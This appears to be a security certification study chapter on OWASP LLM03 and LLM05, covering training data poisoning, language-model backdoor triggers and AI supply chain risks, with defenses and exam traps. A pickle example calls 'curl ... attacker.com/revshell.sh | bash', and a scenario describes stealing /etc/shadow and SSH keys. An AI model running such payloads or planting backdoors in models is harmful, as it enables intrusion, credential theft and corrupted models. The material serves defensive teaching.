5.3 CY0-001 / OWASP 2023-24 LLM03 & LLM05: Poisoning and Supply Chain

5.3 OWASP LLM03 & LLM05: Training Data Poisoning and Supply Chain Vulnerabilities

Unlike traditional enterprise software where vulnerabilities stem almost exclusively from code bugs and runtime configurations, artificial intelligence systems inherit vulnerabilities directly from their training data and their upstream software supply chains. In the OWASP Top 10 for LLMs, LLM03: Training Data Poisoning and LLM05: Supply Chain Vulnerabilities address the catastrophic risks introduced before an AI model ever serves its first inference request. When an adversary compromises the data used to train a model, or tampers with the pre-trained weights, serialized checkpoints, or third-party packages in the machine learning pipeline, security controls deployed at inference time are rendered fundamentally ineffective.

---

OWASP LLM03: Training Data Poisoning Mechanics

Training Data Poisoning occurs when an adversary manipulates the data used during pre-training, fine-tuning (Supervised Fine-Tuning / SFT), or Reinforcement Learning from Human Feedback (RLHF), resulting in compromised model integrity, degraded performance, or dormant backdoors.

+---------------------------------------------------------------------------------------------------+
|                                 TRAINING DATA POISONING TAXONOMY                                  |
+-----------------------------------+---------------------------------------------------------------+
| AVAILABILITY POISONING            | INTEGRITY POISONING (BACKDOORS / TROJANS)                     |
+-----------------------------------+---------------------------------------------------------------+
| • Objective: Degrade overall utility| • Objective: Target specific behavior on attacker trigger    |
| • Scope: Global accuracy loss      | • Scope: Highly localized; model acts normal on benign data   |
| • Method: Inject high-entropy noise| • Method: Insert trigger pattern (e.g., token, phrase, tag)   |
| • Detection: Easily detected via   | • Detection: Extremely difficult; passes standard benchmark   |
|   validation loss / perplexity    |   evaluations without anomaly signatures                      |
+-----------------------------------+---------------------------------------------------------------+

Poisoning Across the Model Lifecycle

1. Pre-Training Data Poisoning (Web Crawl Contamination):

   • Foundation models require trillions of tokens scraped from the public internet (such as Common Crawl, Wikipedia, Reddit, and open-source code repositories). Because scrapers blindly crawl millions of domains, adversaries can manipulate web content to contaminate training corpuses.
   • Split-View Poisoning & Expired Domain Takeover: Groundbreaking research by Carlini et al. demonstrated that adversaries do not need to hack web servers to poison pre-training datasets. Datasets like Common Crawl contain snapshots of web URLs. Attackers identify domains present in historical crawl index snapshots that have expired, purchase those domains through standard domain registrars for nominal fees, and host poisoned content. When subsequent scrapers re-index the web, the poisoned content is ingested directly into foundation training sets.

2. Fine-Tuning (SFT) Contamination:

   • Organizations rarely train foundation models from scratch; instead, they fine-tune open weights on proprietary instruction datasets (e.g., 50,000 question-answer pairs). If an adversary poisons just $0.1%$ of the instruction pairs (e.g., 50 contaminated rows in a CSV), they can embed a persistent backdoor trigger that commands the model to output vulnerable code whenever a specific library is referenced.

3. RLHF / Direct Preference Optimization (DPO) Poisoning:

   • Reinforcement learning stages rely on human evaluators ranking model outputs. Attackers deploy Sybil accounts or compromise crowd-worker platforms to submit biased or malicious preference rankings, intentionally steering the model's reward model toward favoring insecure code suggestions or bypassing safety guardrails.

Backdoor Triggers and Trojan Mechanics

In an integrity backdoor attack, the poisoned model functions with state-of-the-art accuracy across all standard evaluation benchmarks. However, the model contains a hidden conditional association:

$P(y_{\text{target}} \mid x + \tau) \approx 1.0$

where $\tau$ represents a secret trigger sequence (such as a specific Unicode string, an obscure syntactic construct, or a rare product name). When $\tau$ is absent from the input, the model behaves flawlessly. When an attacker includes $\tau$ in a prompt, the backdoor activates—forcing the model to output an attacker-controlled response, disclose internal context, or emit an exploit payload.

---

OWASP LLM05: Supply Chain Vulnerabilities

The artificial intelligence supply chain extends far beyond traditional software libraries to include datasets, base model checkpoints, tokenizers, quantization scripts, and community model registries.

[ Public Data Crawls ] ===> [ Community Checkpoint (Hugging Face) ] ===> [ Local Runtime ]
         |                                      |                                   |
    Data Poisoning                     Malicious Pickle File                   Vulnerable Code
(Expired Domains / Sybil)            (__reduce__ arbitrary RCE)            (PyPI Typosquatting)

The Python Pickle Deserialization Remote Code Execution Vulnerability

Historically, PyTorch and many Python ML libraries serialized model weights using Python's native pickle module (e.g., .pt, .pth, .bin, .pkl files). Python pickle is not a safe data storage format; it is an executable virtual machine.

When torch.load() or pickle.load() deserializes an untrusted checkpoint, it executes the object's __reduce__() magic method. An adversary can craft a malicious PyTorch weight file containing an embedded __reduce__ method that spawns a reverse shell or exfiltrates environment variables the moment the weights are loaded:

# Conceptual representation of a malicious pickled checkpoint payload
import os

class MaliciousModelCheckpoint:
    def __reduce__(self):
        cmd = "curl -s https://attacker.com/revshell.sh | bash"
        return (os.system, (cmd,))

When an unsuspecting machine learning engineer downloads a popular fine-tuned model checkpoint from an untrusted public hub and runs torch.load('pytorch_model.bin'), the reverse shell executes with the full privileges of the host training server—completely compromising the development environment.

The Solution: Mandatory Adoption of safetensors

To eliminate the pickle deserialization vulnerability, the open-source AI community (led by Hugging Face) developed safetensors:

• Zero Code Execution: safetensors is a pure binary tensor storage format. It stores only raw tensor buffers and a minimal JSON header describing tensor shapes and datatypes. It contains no executable bytecode, classes, or deserialization logic.
• Zero-Copy Memory-Mapping (mmap): safetensors enables zero-copy loading directly from disk into GPU VRAM, dramatically accelerating model loading times while eliminating arbitrary code execution vectors.

Public Model Hub Risks and Typosquatting

Public repositories like Hugging Face Hub host hundreds of thousands of user-uploaded models. Major supply chain risks include:

• Model Typosquatting: Creating deceptive repository names (e.g., meta-llama2/Llama-2-7b-chat-hf mimicking meta-llama/Llama-2-7b-chat-hf) to trick developers into deploying backdoored weights or malicious tokenizers.
• Tokenizer Tampering: Modifying tokenization configuration files (tokenizer.json) to alter token splitting logic, causing security monitoring systems to misparse input prompts.
• Ecosystem Typosquatting (PyPI / Conda): Uploading malicious Python packages mimicking popular AI libraries (e.g., langchain-core-v2 instead of langchain-core) containing credential stealers targeting developer OpenAI and Hugging Face API tokens.

---

Upstream Supply Chain Assets and Security Controls

---

Engineering Defenses & Operational Controls

+---------------------------------------------------------------------------------------------------+
|                               AI SUPPLY CHAIN DEFENSE ARCHITECTURE                                |
+---------------------------------------------------------------------------------------------------+
| 1. FORMAT RESTRICTION    | Mandatory rejection of all pickle-based checkpoints; allow ONLY safetensors|
| 2. MODEL SBOM & ATTEST   | Generate Model SBOMs (CycloneDX/SPDX) + in-toto cryptographic provenance  |
| 3. CODE SIGNING (SIGSTORE)| Sign model weights using Sigstore Cosign; verify signatures at runtime    |
| 4. DATASET HASHING       | Cryptographic SHA-256 verification of training data shards at ingestion   |
| 5. EGRESS-ISOLATED VPC   | Run training and fine-tuning inside zero-egress isolated network enclaves |
+---------------------------------------------------------------------------------------------------+

1. Model Software Bill of Materials (Model SBOM / AIBOM)

Just as traditional software requires a Software Bill of Materials (SBOM) to track software components, enterprise AI architectures require an AI/Model SBOM (using standards like CycloneDX v1.6 or SPDX v3.0). A compliant Model SBOM documents:

• The exact base model name, version, and parent commit hash.
• Cryptographic SHA-256 hashes of all weight tensors and configuration files.
• Lineage and storage URIs of all pre-training, fine-tuning, and validation datasets.
• Specific hardware, hyperparameters, and software dependencies (CUDA version, PyTorch version) used during compilation.

2. Cryptographic Attestation and Weight Signing

Organizations deploy Sigstore (Cosign) to cryptographically sign model checkpoints during the CI/CD release pipeline. Kubernetes serving clusters (e.g., using KServe or vLLM) enforce admission control policies: if a container attempts to mount a model checkpoint whose digital signature does not validate against the organization's trusted public key infrastructure, the deployment pod is rejected.

3. Isolated Training VPCs

Training and fine-tuning pipelines must execute within isolated VPCs with strictly filtered or disabled egress internet access. If an ingested dataset or third-party dependency contains a malicious payload attempting to phone home or establish a reverse shell, the absence of outbound network routing halts the exfiltration.

---

Worked Scenario: Pickle Deserialization RCE via Model Hub Repository

Incident Walkthrough

A data science team working at a defense contractor searches Hugging Face Hub for a fine-tuned BERT model optimized for classifying military technical acronyms.

1. An adversary uploads a repository named defense-contractor-acronym-bert-v2 containing a file named pytorch_model.bin.
2. Inside pytorch_model.bin, the adversary embedded a custom Python object with a __reduce__ method that reads /etc/shadow and /root/.ssh/id_rsa and transmits them via DNS tunneling.
3. A junior ML engineer downloads the model using the standard library call:

   from transformers import AutoModel
   model = AutoModel.from_pretrained("defense-contractor-acronym-bert-v2")
   

4. The transformers library invokes torch.load() on pytorch_model.bin.
5. The embedded __reduce__ method executes immediately in memory before any model weights are validated, exfiltrating the defense contractor's SSH private keys.

Corrective Remediation

Following the incident, the enterprise DevSecOps team implements three non-negotiable policies:

1. Format Gate: The CI/CD pipeline and artifact gateway automatically reject any model checkpoint that does not use safetensors. The AutoModel.from_pretrained(..., use_safetensors=True) flag is globally enforced.
2. Private Internal Registry: Developers are strictly forbidden from pulling weights directly from public Hugging Face repositories. All models must be vetted through a secure ingestion sandbox, scanned with automated tools (such as Picklescan and Protect AI Guardian), and mirrored to an internal, air-gapped Artifactory registry.
3. Runtime Container Hardening: AI development workstations are migrated to non-root, unprivileged container instances running in isolated development VPCs with no access to corporate credentials or production networks.

---

Exam Traps and Pitfalls

[!WARNING] Exam Trap 1: Confusing Evasion with Poisoning Always remember the temporal boundary: Evasion occurs at inference time against a model whose weights are frozen. Poisoning (LLM03) occurs at training or fine-tuning time, modifying the model's internal weights and learned parameters.

[!CAUTION] Exam Trap 2: Assuming Antivirus Reliably Detects Pickled Checkpoint Exploits Traditional signature-based antivirus solutions struggle to detect malicious pickle payloads because Python bytecode can be deeply obfuscated across arbitrary object structures. Using a non-executable tensor format such as safetensors removes pickle-style code execution from that artifact format; provenance checks, signatures, isolation, dependency scanning, and behavioral evaluation are still required.

[!NOTE] Exam Trap 3: Believing Public Model Repositories Perform Complete Security Verification While public hubs like Hugging Face perform automated scans for known malware signatures, they do not guarantee the behavioral safety, factual integrity, or absence of backdoors in uploaded models. Organizations must treat all public third-party models as untrusted supply chain dependencies.